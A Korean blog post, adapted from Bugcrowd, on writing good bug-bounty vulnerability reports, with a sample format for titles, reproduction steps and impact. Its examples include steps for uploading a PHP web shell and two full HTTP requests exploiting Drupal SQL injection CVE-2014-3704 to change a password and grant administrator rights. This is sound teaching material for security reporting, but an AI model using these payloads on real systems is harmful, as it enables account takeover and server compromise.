이 글은 Bugcrowd 블로그의 “advice-for-writing-a-great-vulnerability-report” 라는 글을 바탕으로 내용을 요약하면서 완전히 재작성한 글입니다. 시간이 많다면 원문을 읽어보세요!

버그헌터나 보안 컨설턴트들이 취약점을 찾으며 가장 많은 시간을 낭비하는 것이 리포트를 쓰는 것입니다. 리포트의 질을 향상시키고 시간을 절약해줄 몇 가지 방법을 소개합니다.

독자를 위해 작성하자.

취약점 리포트를 작성할 때 가장 중요한것은 리포트를 읽어줄 독자가 있다는 것 입니다. 문서를 읽는 사람은 개발자일 수도 보안 엔지니어 일 수 도 있죠. 아무리 보안에 조예가 깊어도 글을 쓴 사람의 마음까지 읽지는 못합니다. 독자가 읽기에 쉽우면서 명확하고, 목적이 있으며 움직이기 쉬운 리포트는 좋은 평가를 받을 수 있습니다.

명확하게 작성하자.

명확한 의사소통은 독자의 이해에 큰 도움이 됩니다. 몇 가지 취약점들은 설명하기가 굉장히 까다롭습니다. 그런 취약점들을 초등학생이 이해할 수 있게 작성하는 것은 어렵습니다. 하지만 초등학생도 이해할 수 있는 리포트를 적는다면 누구든 취약점을 이해시킬 수 있습니다. 명확하게 작성하는 것은 단어나 문맥뿐만아니라 리포트의 형식도 중요합니다. 이 글의 말미에 리포트의 형식을 몇 가지 추천하겠습니다.

의도를 밝히자.

리포트에 정확한 의도가 없다면 읽는 독자가 분석하기 어려워집니다. 취약점 보고서에는 명확한 목적이 있어야합니다. 독자가 글을 통해 의도를 파악하길 바라면 안됩니다. 소극적으로 표현하지 말고 현재의 버그와 취약점의 위험도와 개선방안에 대해 강력하게 표현해야 합니다.

행동하게 만들자.

행동하게 만드는 의사소통을 해야합니다. 독자는 리포트를 읽고 “응 알겠어, 어떻게 수정하는지 알겠어” 할 수 있도록, 독자 스스로가 무엇을 해야하는지 아이디어를 가지고 움직일 수 있게 만들어야합니다. 또한 버그와 관련된 위험도를 효과적으로 전달해야 합니다. 우리는 보안 전문가로서 흩어진 점을 연결하여 취약점이 가질 수있는 예상되는 위험을 알려줘야 합니다.

이 모든 것을 하나로 합친 리포트 예제 입니다.

** 제목 ** : 독자가 가장 먼저 보게 되는것이 제목입니다. 좋은 제목은 버그의 유형, 발견된 곳 그리고 영향력을 포함해야 합니다. 예를 들어 “이력서 업로드 양식에서 파일 업로드 취약점 발생 및 원격 임의코드 실행가능”라는 제목은 “앱에서 RFI Injection 발견”보다 훨씬 좋은 제목입니다. 제목에서 찾은 것, 발견 한 곳, 취약점의 도달 범위를 정확하게 나타내야 합니다.

** Bug Type ** : Bug Type은 명확해야합니다. 예를 들어 발견 된 버그가 XSS 인 경우에 DOM base XSS인지 Reflected XSS인지 기록하는 것은 독자가 조직에 보고할 때 취약점의 위험을 인지하는 열쇠입니다.

** URL ** : 독자가 리포트에서 URL 검증에 가장 많은 시간을 할애합니다. URL은 두번봐도 모자랍니다.

** 증명 단계 ** : 증명 단계가 매우 세부적이여야 합니다. 누가 검토 할 지 알 수 없으므로 최대한 많은 정보를 제공해야합니다.

  • 하 : ‘www.thatsite.com’에 접속해서 쉘을 업로드 한 뒤, 쉘에 접속한다.

  • 중 :
    • 브라우저를 통해 ‘www.thatsite.com’에 접속한다.
    • “upload image” 버튼을 누른다.
    • 다음 페이지에서, “choose file” 버튼을 오른쪽 클릭한다, 그리고 “inspect element”를 선택한다.
    • 새로 열려진 창에서 ‘<input type = file’행을 찾고 ‘accept’ 속성을 모두 제거한다.
    • 파일 선택을 클릭한다.
    • shell.php 파일을 선택한다.
    • 쉘을 업로드 한다.
    • Profit
  • 상 :
    • ‘www.thatsite.com’에 접속한다.
    • “upload image” 버튼을 누른다. 첨부된 스크린샷 1(screenshot1.png)에서 버튼의 위치를 확인할 수 있다.
    • “choose file” 버튼을 오른쪽 클릭한다, 그리고 “inspect element”를 선택한다. 첨부 된 스크린 샷 2(screenshot2.png)는 결과 화면을 보여준다.
    • ‘<input type = file’ 행으로 이동하여 ‘accept’ 속성을 제거한다. 첨부 된 두 개의 스크린 샷(screenshot3.png, screenshot4.png)은 수정 전후의 화면을 보여준다.
    • “choose file” 버튼을 클릭하고 shell.php 파일을 선택한다. 첨부 된 스크린 샷 5(screenshot5.png)는 내가 사용했던 파일 (shell.php)과 프로세스를 보여준다.
    • 쉘을 업로드 한다. 쉘은 [URL]에서 접속이 가능하다. 이 쉘은 원격에서 서버를 조종할 수 있다. 예를 들어, 현재의 디렉토리에 속하는 파일들의 목록을 볼 수 있다. 더 자세한 정보는 첨부 된 파일(details.txt) 과 자세한 화면이 포함된 스크린 샷 6 (screenshot6.png)에서 확인할 수 있다.

** 추가 정보 ** : 금액을 좌우하는 중요한 부분입니다. 추가의 정보에는 발견 한 취약점에 대한 영향력과 위험도에 대해 설명합니다. 간결 할뿐만 아니라 해당 비지니스의 다른 분야의 사람들이 이해할 수있는 방식으로 설명하는 것이 중요합니다. 이 단계에서 취약점이 해당 조직에 가져오는 위험을 기술하는 것이 중요합니다.

  • 하 : 서버는 오래된 버전의 Drupal을 사용하여 SQLi에 취약합니다.

  • 상 : 해당 장비는 SQL Injection 공격에 영향을 받는 Drupal 버전을 사용하고 있습니다(CVE-2014-3704, DRUPAL-SA-CORE-2014-005). 이 시스템은 8443 포트에서 [응용 프로그램] [버전]을 실행하고 있습니다. 이 [응용 프로그램] [버전]은 사용자이름 열거를 허용하고 있습니다(https://www.drupal.org/node/1004778). 하지만 디자인 철학 때문에 [응용 프로그램] 개발자는 사용자이름 열거가 보안 위협이 아니라고 판단했습니다.

이 두 가지 취약점을 이용하여 공격자는 주어진 사용자 계정을 조작 할 수 있습니다.

  • 임의 유저의 권한을 관리자로 변경가능.
  • 임의 유저의 비밀번호를 변경 가능.

공격자는 임의의 유저의 정보를 얻기 위해 http://[site]/admin/views/ajax/autocomplete/user/a 으로 웹 요청을 보내 ‘a’로 시작하는 모든 유저의 이름을 획득합니다. 그 다음에 http://[site]/user/[username]으로 웹 요청을 보내 해당 유저의 고유 key를 획득합니다. 획득한 고유 key를 통해 SQL Injection 공격(CVE-2014-3704)를 사용하여 사용자 암호를 공격자가 원하는것으로 변경할 수 있습니다.

‘adam’사용자 비밀번호 변경 요청 예는 다음과 같습니다.

1
2
3
4
5
6
7
8
9
10
POST /login?destination=node HTTP/1.1
HOST: [Site]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Referer: https://[site]/login?destination=node
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

name[0;update%20users%20set%20passwd%3D%22%2524S%2524DIkdNZqdxqh7Tmufxs8l1vAu0wdzxF%252F%252FsmWKAcjCv45KWjK0YFBg%22%20where%20user%3D%22adam%22;#%20%20]=test&name[0]=test&pass=test&form_id=user_login_block&op=Log+in"

공격자가 요청을하면 adam의 암호가 ‘pwnd’로 변경됩니다. 해당 사용자에게 관리 권한을 부여하려면 두 번째 요청(고유 Key 사용)이 필요합니다.

1
2
3
4
5
6
7
8
9
10
POST /login?destination=node HTTP/1.1
HOST: [Site]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Referer: https://[site]/login?destination=node
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

name[0;update%20user_roles%20set%20rid%3D3%20where%20uid%3D[numeric user id];#%20%20]=test&name[0]=test&pass=test&form_id=user_login_block&op=Log+in"

공격자는 이제 계정의 비밀번호를 변경하고 사용자 권한을 관리자 권한으로 상승시켰습니다.

“추가 정보”는 문제를 해결하는 방법에 대한 제안을 포함하기에 좋은 곳입니다. 문제를 해결하는 방법에 대한 제안으로 code snippets, configuration snippets 또는 수정 프로세스 지침을 포함시켜보세요. 독자가 버그가 있음을 알지 못한다고 가정하여 문제를 해결하는 적절한 방법을 제시해야 합니다. 단순히 리포트를 제공하는 것이 아니라 지식을 공유하고 통찰력을 포함해야 합니다. 이것이 행동하게 만드는 의사소통입니다.

** 첨부 파일 ** : 첨부 파일은 동료입니다. 화면을 기록해서 첨부한다면 통해 분명한 증거를 얻을 수 있습니다. 짧은 시간의 동영상과 잦은 스크린 샷은 독자가 이해하는 데 도움이 될 수 있습니다.

이 글이 너무 많은것을 요구한다는것을 알고 있습니다. 하지만 연습을 많이하면 쉽고, 반복할 필요가 없어집니다. 괜찮게 작성된 리포트는 독자로부터 질문을 받을 필요가 없어집니다. 독자의 질문이 없어짐으로써, 독자들의 결정이 신속하게 처리되어 금전적인 보상도 늘어나게 됩니다.

추가적인 참고자료 :

  • https://researcherdocs.bugcrowd.com/docs/reporting-a-bug
  • https://blog.bugcrowd.com/writing-up-a-poc-by-planet-zuda/